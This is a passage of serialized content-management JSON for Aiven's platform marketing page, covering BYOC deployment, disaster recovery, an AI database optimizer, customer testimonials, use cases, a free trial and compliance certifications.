center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ea3d93b74e585101e7b69a41ab8add66390488ff-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","narrowImage":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"8t53xcowkurf3mqqpu1wefvi17j9vy41","_type":"block","children":[{"_key":"gu9cdpupmc0ix0ljbp8dvm53x06evl3d","_type":"span","marks":[],"text":"Bring Your Own Cloud (BYOC)"}],"markDefs":[],"style":"h4"},{"_key":"wwpguz3re0o691u7ceowad22dc8pkihk","_type":"block","children":[{"_key":"39x1bi689uds2movjllwrj5iu03gcvxb","_type":"span","marks":[],"text":"Aiven offers flexible deployment options for your data services, catering to various business needs and preferences. Choose the deployment model that best aligns with your organization's priorities, whether it's convenience, cost savings, or maximum control."}],"markDefs":[],"style":"normal"},{"_key":"7y80h5exs8taqs1vvgf3fvh247b7v658","_type":"block","children":[{"_key":"ebscdolt3828i9vjld3jt7ud3m1zlnxh","_type":"span","marks":["strong"],"text":"Aiven infrastructure:"},{"_key":"egjq1nkyi8xgq4nn60fsk6d7vlo9qe2o","_type":"span","marks":[],"text":" A hassle-free solution where Aiven takes care of all cloud configurations, maintenance, and costs, allowing you to focus on your core business."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"meq8gr955tnt07kw6n28byv3pts1myc3","_type":"block","children":[{"_key":"7aphlqxyfz1n1k6exz5bc3rk72871cf9","_type":"span","marks":["strong","e66568b34cf3"],"text":"Bring Your Own Cloud (BYOC)"},{"_key":"988a679f547e","_type":"span","marks":["strong"],"text":":"},{"_key":"8qzcrlq4uhr22wfqvzaqy0d3tym4i5p5","_type":"span","marks":[],"text":" Deploy Aiven services directly to your existing cloud account giving you greater control over your data and infrastructure. BYOC allows you to:"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e66568b34cf3","_type":"internalLink","internalLink":{"_ref":"7331d886-a62a-49c1-92bd-0b7d9f55dd21","_type":"reference"}}],"style":"normal"},{"_key":"xih1uwfk3hqj28vlfw4r4fmpbu34cq24","_type":"block","children":[{"_key":"husvzlsc7tiljzcnrdmaeznbqlb6vccr","_type":"span","marks":[],"text":"Leverage your existing cloud investments and negotiated discounts."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ocwfcoznb879i07epg0e7yhl2fcd5vh6","_type":"block","children":[{"_key":"g4nqtkzpu242bmlliokwch51ej80n7ik","_type":"span","marks":[],"text":"Maintain strict control over your data and comply with specific security or regulatory requirements."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fispj3ca76x2t7p2sxresxut963qrcp3","_type":"block","children":[{"_key":"g5fk2tikerfeobytad9pukazy8wktomq","_type":"span","marks":[],"text":"Customize your infrastructure to meet your unique needs."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"nsko7fd8w1on58viaefkh8gocjw6rudu","_type":"block","children":[{"_key":"bhhaap3w5a72yt6rpytw0iwfep0dhmad","_type":"span","marks":[],"text":"Benefit from Aiven's expertise and support while retaining full control."}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"byoc","imageHeight":35,"title":"Bring your own cloud"},{"_key":"aanowo7ggyc8i6mg9zoxdifni0opuoek","_type":"tabItem","content":[{"_key":"ph2igi07l1hkqo94hdljsdxtp10a0b6c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-c9c3daf8dc4477217535d7205e2cc50055e5e84b-2057x1524-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"hdvhs6yg8dnm6eqgbplbh23ruw970tge","_type":"block","children":[{"_key":"0m219wza5p15lnu8ab99jxb9t60yhv24","_type":"span","marks":[],"text":"Choice of integrated open source services"}],"markDefs":[],"style":"h4"},{"_key":"2t8cceisvyx3pvovyretavt270481bwz","_type":"block","children":[{"_key":"xo0uoz50zxblhkhws8akoc22d9fqs7lc","_type":"span","marks":[],"text":"Build with Aiven's popular data services that best fit your specific use cases to "},{"_key":"e744ee6de0c8","_type":"span","marks":["1fb1c803b1ba"],"text":"stream"},{"_key":"ab7ce142cdf7","_type":"span","marks":[],"text":", "},{"_key":"0fd50d481870","_type":"span","marks":["fb633db7c051"],"text":"store"},{"_key":"3d569f5d3b06","_type":"span","marks":[],"text":", and "},{"_key":"d5f174bf412b","_type":"span","marks":["02542751845d"],"text":"serve"},{"_key":"342e82608fa2","_type":"span","marks":[],"text":" data to your systems and applications. "}],"markDefs":[{"_key":"1fb1c803b1ba","_type":"internalLink","internalLink":{"_ref":"70d94b51-4183-47e4-bce1-6672b43536ff","_type":"reference"}},{"_key":"fb633db7c051","_type":"internalLink","internalLink":{"_ref":"13ecea8b-dacb-4056-af66-283caf0da0c3","_type":"reference"}},{"_key":"02542751845d","_type":"internalLink","internalLink":{"_ref":"b073a6f0-4688-49f1-84b3-0246415ea9b2","_type":"reference"}}],"style":"normal"},{"_key":"u6u4m83oai3yu5lyv6gihil8jh9rke50","_type":"block","children":[{"_key":"w4b8mjtel3inwe3stz8wsr4l6n1ai1mg","_type":"span","marks":["strong"],"text":"Build faster with skilled talent:"},{"_key":"9pmq6qf09z7t8iurilexymwpk49huofa","_type":"span","marks":[],"text":" Gain access to the skills of a broad community of open source experts."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"gvvymb1he39dnozilr86oxue06n0qewg","_type":"block","children":[{"_key":"xdp27gpr2mhiz6q3o1rhpkn7d4sko0im","_type":"span","marks":["strong"],"text":"Innovation and Collaboration: "},{"_key":"lkrcfsujs9cv2hvgondwykmjafu4dx22","_type":"span","marks":[],"text":"Benefit from open source's collaborative culture which accelerates the development of new features and improvements."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8lofuxn08s3nkc8npebn0m5qycd7eiru","_type":"block","children":[{"_key":"gpmmpo37q9wv8p0466402n8yqb3eq4jf","_type":"span","marks":["strong"],"text":"Security and Reliability: "},{"_key":"ul5g1tmnjh5jqoma6s6k2ikg408yglu7","_type":"span","marks":[],"text":"Improve security and reliability compared to proprietary software where the code is not publicly accessible. The open nature of open source ensures that many eyes are constantly reviewing and testing the code."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"open-choice","imageHeight":35,"title":"Open choice"},{"_key":"jdrsb5ue5pxa4gibncsh7tj2ybd1bux7","_type":"tabItem","content":[{"_key":"hlm65c144noiksmrxxmccnbah16c113b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-9b01b0a773b4b098e15eebbda02b7d93243c2fe8-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"5injsr8cs0p6w7jk8527qj2wtgt42z0p","_type":"block","children":[{"_key":"6hm1jo6bz3ozdcrp845jo185tap7m053","_type":"span","marks":[],"text":"Cross-cloud and cross-region disaster recovery "}],"markDefs":[],"style":"h4"},{"_key":"5qjsgl8mimi7irpdx99hbks551zhbmfn","_type":"block","children":[{"_key":"es88r0dust9d082bcdg55pd5n3eb19cx","_type":"span","marks":[],"text":"Aiven enables your data infrastructure to be highly available, reliable, and operational even in the face of disruptions or failures."}],"markDefs":[],"style":"normal"},{"_key":"cuf6r4ini3oce13ux65pzo9x3dokusbo","_type":"block","children":[{"_key":"4yvzuigyagg56firl2tyv9sratiiffab","_type":"span","marks":["strong"],"text":"High Availability:"},{"_key":"wd83qaizx4wt6a31xkgbwm0exw4pqipr","_type":"span","marks":[],"text":" Leverage multiple availability zones, regions, and providers to ensure your data is replicated and distributed across different locations. If one location or provider experiences an outage, your services can seamlessly failover to another, minimizing downtime."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ffrf48hq3vwpm73t08pqvafg44ucg5ic","_type":"block","children":[{"_key":"iq187txxdfs1k62k0ec4s0tn8l3uv28u","_type":"span","marks":["strong"],"text":"Automated Backups and Recovery:"},{"_key":"dmcyf2elmxe5eoqcmf2cen9mf5hc9saj","_type":"span","marks":[],"text":" Aiven automatically creates backups of your data at regular intervals. In case of data loss or corruption, you can easily restore your data from these backups, ensuring business continuity."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"resiliency","imageHeight":35,"title":"Resiliency"},{"_key":"ynw9hyp7ej56fhzfa8mcflm103jbxmmh","_type":"tabItem","content":[{"_key":"gh0j3fbnfvu5m87j7vnd1g7ej8pk4qdr","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-b8cbad57d7c3262bf8c339fba325e295bef25590-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","narrowImage":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"ut8gzbicy4gzap95jbka2g7djhysyo9l","_type":"block","children":[{"_key":"l0z4gsi9g5yfylt6yff0mkpqoi1m000e","_type":"span","marks":[],"text":"AI database optimization to boost efficiency"}],"markDefs":[],"style":"h4"},{"_key":"lhdz4t8ggcivf4qxv7rgpsc1uscboz69","_type":"block","children":[{"_key":"tm701z771ezo8b4j1r073p9wj0n422sw","_type":"span","marks":["3de402f4ed96"],"text":"Aiven's AI Database Optimizer"},{"_key":"kgel60z0yeozcrhjkofm558xyrmrfudo","_type":"span","marks":[],"text":" quickly helps your organization understand how to tune your PostgreSQL and MySQL queries to save your organization engineering time, and money on your database bills."}],"markDefs":[{"_key":"3de402f4ed96","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}}],"style":"normal"},{"_key":"8ftka84tkxa9hf5d2rcvve33balww5el","_type":"block","children":[{"_key":"atwwv4xr7yjozyfs5qph1ts4mszgp01s","_type":"span","marks":["strong"],"text":"Accelerate development:"},{"_key":"acq9edkh2uq03sfxu0ztg13snz1wki1l","_type":"span","marks":[],"text":" Receive AI-driven index and SQL rewrite suggestions in minutes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"t704vjrjvb6a7b6spljq468zbkhko2e2","_type":"block","children":[{"_key":"hwd6ib3fxwfchka6brhr04kjaw7gr340","_type":"span","marks":["strong"],"text":"Reduce incident resolution time:"},{"_key":"sd3l71zmx5xtxvecw0ndj5eb1efwalis","_type":"span","marks":[],"text":" Gain real-time performance insights and optimization suggestions."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"lsi7n6i36k392zh3lmcgoyuw4cjkrq0z","_type":"block","children":[{"_key":"cbfmseist6i20v7xkohy2bijmq3a5x3r","_type":"span","marks":["strong"],"text":"Optimize before production:"},{"_key":"43xtc7fjn9rvhhncivy737hvs11wpqok","_type":"span","marks":[],"text":" Ensure applications are performant and scalable before release."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"iclt6p6njpy8oj1bsprgrcswgahn5fuk","_type":"block","children":[{"_key":"hdeufgdpt2hh76h3bo326efxy9dgm12l","_type":"span","marks":["strong"],"text":"Free up DBA resources:"},{"_key":"32e7nnbw1ab4fxgy262oq1f1gjg733ve","_type":"span","marks":[],"text":" Allow DBAs to focus on high-value tasks."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"ai","imageHeight":35,"title":"AI database optimization"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"Benefits of Aiven Platform","topOverlap":false,"variant":"button-toggle"},{"_key":"2270y802pwjehpdo9uf4c3o4449vsbs5","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":true,"logos":[{"_key":"8axbm0lysqzdpaa8k2pouav8smzhpeo5","_ref":"116682c4-b184-4136-9c82-2dc7e4fe5d28","_type":"reference"},{"_key":"2okvkq4pveb4notxf4dukyqhgn0t5q1o","_ref":"723e5af6-916b-4e14-b3fd-bf7a66f1d80c","_type":"reference"},{"_key":"sujzpw8jlkb30li2ncunc5vokmb77fhu","_ref":"a26cf529-bb24-4a1f-91a6-bab664c408f6","_type":"reference"},{"_key":"0v793wexcoltt8wkdi4r6wa5vs29f5px","_ref":"8c8287cd-e80c-43aa-bc3f-6fbecc422a85","_type":"reference"}],"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-b","tagline":"Available marketplaces","variant":"logo"},{"_key":"nqz52zzwi1v8gpf159f5bbvhtlezr9ry","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"b8g9s0p8psyrhmsx0gq4oh35c6dya0fq","_type":"testimonialItem","company":{"_ref":"fd143138-e6d5-4957-be92-bc996dbaa518","_type":"reference"},"content":[{"_key":"a56788a79d85","_type":"block","children":[{"_key":"f971105c60ba0","_type":"span","marks":[],"text":"Doccla, a fast-growing healthcare technology startup that has provided 100,000+ virtual wards in the last two years,"}],"markDefs":[],"style":"normal"},{"_key":"8zyuxo2kjse8957v9uyxf0cymfx209ct","_type":"block","children":[{"_key":"ja1c9wffd288d3xndyq1tzszpmt33rr7","_type":"span","marks":[],"text":"“The partnership between Aiven and Google makes things really easy for us. In just a few clicks, we can launch a fully managed and configured cluster Aiven service in the region of our choice. If we need Kafka in Germany, it’s done. Or if we need PostgreSQL in Paris, it’s done. "}],"markDefs":[],"style":"normal"},{"_key":"qmeuxnhm86p1odf4i1tswn638czmc0hw","_type":"block","children":[{"_key":"z6kw80l0co574atrwv5lly6rnd0tqdmy","_type":"span","marks":[],"text":"As we build out our platform to reach more patients in more countries, Aiven will remain a fundamental partner. We get all that capability without the cognitive overload of managing a hugely disparate data estate across Europe.”"}],"markDefs":[],"style":"normal"}],"jobTitle":"Staff Platform Engineer, Doccla","name":"Matthew Huxtable","ytId":"Ihm0jcx_CK4"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showCompanyLogoAndTags":false,"subtitle":[],"title":"Customer spotlight","variant":"media"},{"_key":"pcho137qwilu9m1j3rnxor1lv4conx9s","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"724d19d76836","_type":"testimonialItem","company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"18a01ad929ee","_type":"block","children":[{"_key":"12a2daaec5c4","_type":"span","marks":[],"text":"Priceline, the online travel agency for finding discounted rates and operates in over 200 countries and territories with 400+ airline partnerships and 300,000+ hotels,"}],"markDefs":[],"style":"normal"},{"_key":"df5eaa9761e4","_type":"block","children":[{"_key":"7ccb59c1b0f5","_type":"span","marks":[],"text":"\"With Aiven, we now have the flexibility to enormously scale to accept new data and new users and ingest everything into the analytics layer. We can get insights into the data in less than two minutes, which has helped us enable a more efficient reporting timeline. With a healthy infrastructure and stable pipeline, and the fully managed platform that Aiven provides, there are fewer production support issues that my team has to look into. It’s just working without surprises.\""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"title":"Read case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-c80b8ce7d78923f0b3a7afc5983325264060d3a3-800x191-png","_type":"reference"}},"jobTitle":"VP of Data \u0026 Marketing, Priceline","name":"Sachin Menon"},{"_key":"109070818b88","_type":"testimonialItem","company":{"_ref":"84b10f5e-408f-4d38-a01a-fed765bcefc3","_type":"reference"},"content":[{"_key":"0e855908550f","_type":"block","children":[{"_key":"efdb510023c8","_type":"span","marks":[],"text":"Helthjem, one of the largest privately owned companies in distribution of online shopping packages, collecting and delivering more than 13 million packages across Norway,"}],"markDefs":[],"style":"normal"},{"_key":"d36cbe0bd41a","_type":"block","children":[{"_key":"196f3627bbac","_type":"span","marks":[],"text":"\"It’s highly data intensive. And if our capability to process that data goes down, the whole business comes to a halt. We simply cannot afford any downtime. At Helthjem we have a variety of use cases, reflected in a heterogeneous set of queries running in the database. When we face slow performance, we leverage the Aiven AI Database Optimizer to verify which indexes to apply and how to rewrite our SQL. Some of the problematic queries that originally took more than an hour are now executed in a few minutes, providing a 10x performance boost.\""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"929b9c92-65aa-4c2f-9cf0-7f54b2cb8ede","_type":"reference"},"title":"Read case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-298e82c33737b7ee9cffe6d017664f726e2d44b9-919x227-svg","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Dave Li"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","showCompanyLogoAndTags":false,"topOverlap":false,"variant":"logo"},{"_key":"4qmt3imhh7yifzugvwctk1k6y1kjmg92","_type":"cardList","align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"right top","backgroundSize":"auto","darkTheme":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"enez5dal4pe3tfr6hzc54wurwhmwwid5","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"3efca932-e77b-436e-8a30-73aa9fe4d32e","_type":"reference"},"title":"Read more"},"subtitle":[{"_key":"689a29e3f1e3","_type":"block","children":[{"_key":"70e111df61c4","_type":"span","marks":[],"text":"Build AI powered customer service agents to handle large volumes of during peak times."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5fe346e0106a","_type":"block","children":[{"_key":"dc8373cddf24","_type":"span","marks":[],"text":"Create personalized customer search and communication experiences to boost sales."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be246396a0cb","_type":"block","children":[{"_key":"509b1f8a3724","_type":"span","marks":[],"text":"Implement real-time streaming to improve operational efficiency in supply chain management."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Aiven for Retail","variant":"icon-card"},{"_key":"3ae747e6bbdf","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"7ddc00ac-3928-428c-8d61-d860d0011492","_type":"reference"},"title":"Read more"},"subtitle":[{"_key":"30dfe782c566","_type":"block","children":[{"_key":"b460a9bfb383","_type":"span","marks":[],"text":"Simplify your infrastructure, allowing your engineers to drive innovation"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3e1f13b1f8e7","_type":"block","children":[{"_key":"17427adca023","_type":"span","marks":[],"text":"Identify feature gaps through usage patterns to inform development priorities"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ac38a946384a","_type":"block","children":[{"_key":"6b768f245306","_type":"span","marks":[],"text":"Automate code generation and bug detection"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Aiven for Software","variant":"icon-card"},{"_key":"570a190de10f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"f820e157-d994-42a0-8492-e7ca6a5d655c","_type":"reference"},"title":"Read more"},"subtitle":[{"_key":"f2d4c2705072","_type":"block","children":[{"_key":"c0f0742b3b78","_type":"span","marks":[],"text":"Build the ideal architecture for high-throughput, low latency, streaming data with Apache Kafka at the core"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a84f2e282069","_type":"block","children":[{"_key":"6f291951afa7","_type":"span","marks":[],"text":"Benefit from real-time analytics and processing of streaming data in real time with Apache Flink"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e7a9c0ee21b2","_type":"block","children":[{"_key":"1ad23319fd8d","_type":"span","marks":[],"text":"Break down traditional monolithic architecture into modern, responsive, reliable microservices"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Aiven for Streaming","variant":"icon-card"},{"_key":"zhdip9n3lcqjr2s9sq63blen2loijzxd","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"},"title":"Read more"},"subtitle":[{"_key":"dd0c0df1b4d0","_type":"block","children":[{"_key":"095e14df16f8","_type":"span","marks":[],"text":"Optimize your cloud investment by maximizing engineering time with less database maintenance. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"922e5755ec85","_type":"block","children":[{"_key":"5e164940259b","_type":"span","marks":[],"text":"Improve database performance with a few clicks with Aiven's AI Database Optimizer. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c91ed1e3be8a","_type":"block","children":[{"_key":"310fe4f73084","_type":"span","marks":[],"text":"Write performant code faster by receiving index and SQL query rewrite suggestions."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"zwuad9b4qpq4b3uitq672hk9jkmgcfsn","_type":"block","children":[{"_key":"qrisgxs3dohcqqxvlunxtzhfvfczcggd","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"AI database optimization","variant":"icon-card"},{"_key":"0hnhq58nkmpz5oi3va7mng4imdvvnfx4","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"fcb16d8d-4a32-48c4-a382-5e06a395fb53","_type":"reference"},"title":"Read more"},"subtitle":[{"_key":"lqhbmmw5ar9kobp0h7qu99t4gee77x6l","_type":"block","children":[{"_key":"9a67ca482a0c","_type":"span","marks":[],"text":"Provide real-time and governed data to your AI."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"19d8752a13ce","_type":"block","children":[{"_key":"3b82375b35bf","_type":"span","marks":[],"text":"Optimize applications for performance and scalability before releasing them into production."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f69bbf6764fe","_type":"block","children":[{"_key":"fe3f8ee665a8","_type":"span","marks":[],"text":"Store Generative AI embeddings alongside your operational data without onboarding new technologies."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Aiven for AI","variant":"icon-card"}],"itemsPerRow":3,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"97lazljmsp9twm780y3fsbpsnriybjfr","_type":"block","children":[{"_key":"7hjc74em3yslfu5pi1evunrk71xgv4g8","_type":"span","marks":[],"text":"Explore more use cases for Aiven Platform on our "},{"_key":"lvjx9rql6177src72ppuoozla7ypthdn","_type":"span","marks":["63684f07a0cf"],"text":"solutions page"},{"_key":"0wux1qpqbi92v3zdoqkyd9zsm03r6igs","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"63684f07a0cf","_type":"internalLink","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"}}],"style":"normal"}],"title":"Use cases"},{"_key":"lebd0ozvhlmdc5kya39im37g80s2sgp2","_type":"arcade","addSpaceBottom":false,"addSpaceTop":false,"arcadeHeight":56,"arcadeID":"Qu23OFL2otb0JrreOt4L","arcadeTitle":"Create service","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"demo","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"c16637807ed9","_type":"block","children":[{"_key":"0b69bfc5cfc4","_type":"span","marks":["46cbbcddb8d0"],"text":"Free plan"},{"_key":"39f3fd45dc3d","_type":"span","marks":[],"text":" available with Aiven for PostgreSQL, Aiven for Valkey, and Aiven for MySQL. "}],"markDefs":[{"_key":"46cbbcddb8d0","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"},{"_key":"8c47e508f419","_type":"block","children":[{"_key":"1491b7247a86","_type":"span","marks":[],"text":"Free "},{"_key":"967a91a5c470","_type":"span","marks":["fbbeb7bf8f79"],"text":"30-day trial"},{"_key":"dd5b53e7494a","_type":"span","marks":[],"text":" available to try all our services! Includes: "}],"markDefs":[{"_key":"fbbeb7bf8f79","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-trial"}],"style":"normal"},{"_key":"daf058e80ef5","_type":"block","children":[{"_key":"b2809db12d5c","_type":"span","marks":[],"text":"$300 credit "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5d0fce817bc8","_type":"block","children":[{"_key":"9a7d2163fab2","_type":"span","marks":[],"text":"Unrestricted access to Aiven services"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ce597df8010a","_type":"block","children":[{"_key":"d1b9b901ffff","_type":"span","marks":[],"text":"If you continue using Aiven after your 30-day trial, you only pay for what you use. There are no hidden charges. You can shut it down, spin up clusters, add services, or change cloud providers at the click of a button. "},{"_key":"9223e0138a90","_type":"span","marks":["a44210f5e579"],"text":"Try it now!"}],"markDefs":[{"_key":"a44210f5e579","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"}],"tagline":"Try the Aiven Platform","title":"Quick and easy","topOverlap":false,"variant":"split"},{"_key":"vd8db85euaqms0deld241oqdmx0tbveo","_type":"serviceList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","compliance":[{"_key":"d5zv5ef0ivd59b5ml92vkj7vi70qgjmt","_type":"textIconItem","icon":{"_type":"mainImage","alt":"ISO 27001 logo","asset":{"_ref":"image-1bdfde2875e6ddebd644205ed02f511116278f6a-40x40-svg","_type":"reference"}},"title":"ISO 27001 / 27017 / 27018 / 27701"},{"_key":"b6aqkh0wxxgz117ccn3lb27z5k0vi9a1","_type":"textIconItem","icon":{"_type":"mainImage","alt":"SOC2 logo","asset":{"_ref":"image-83778ee98c9e049769d003e7a753efa4b63a276b-40x40-svg","_type":"reference"}},"title":"SOC2"},{"_key":"ikrzgycf32cs77ubw1462v4zvs1cljlr","_type":"textIconItem","icon":{"_type":"mainImage","alt":"HIPAA logo","asset":{"_ref":"image-a315c2be874b3ceebef8ad2dedd9e8ebf0735b66-40x40-svg","_type":"reference"}},"title":"HIPAA"},{"_key":"akma9qv50pk51m5pxeqq8h2gsl431sbn","_type":"textIconItem","icon":{"_type":"mainImage","alt":"PCI-DSS logo","asset":{"_ref":"image-755a96d4bd3934033e98ac391d913265d09537af-40x40-svg","_type":"reference"}},"title":"PCI-DSS"},{"_key":"vhg380mhrek4p6u6o4adzxfcecazgvld","_type":"textIconItem","icon":{"_type":"mainImage","alt":"GDPR logo","asset":{"_ref":"image-203403621ac80cf3125943af581ab051cfe3b2fc-40x40-svg","_type":"reference"}},"title":"GDPR"}],"disabled":false,"fullWidth":true,"hostProviders":[{"_key":"pdc20mjf7mco6yvb1bvgtwzlfbbmnt4g","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"mnf0p221x102xyq6wunzcxuicscq61cn","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"stak6z3wunhxetiffxfb5gb2xpqgh2fb","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"9k8nvhgda5t4ubr3msyw3pp2dn1gam44","_ref":"258b8e39-3cd1-44ef-a40b-bedd6c834665","_type":"reference"},{"_key":"6ucstze5fsuj7dgw2w56cdrcxose6rgf","_ref":"2c2f2baa-24b0-4b7a-812b-bed3f20f2030","_type":"reference"},{"_key":"hb0rwjt6gxfknc1k7bmur2jnd6ng9i6i","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"},{"_key":"snss1o9riiv1taap4o0dzk77r2toctxb","_ref":"9039a507-d3b4-402a-964b-6fa829d56ef8","_type":"reference"}],"identity":[{"_key":"jjl1ac2qn12rkkmzq2ec4u8mrleroeto","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Auth0 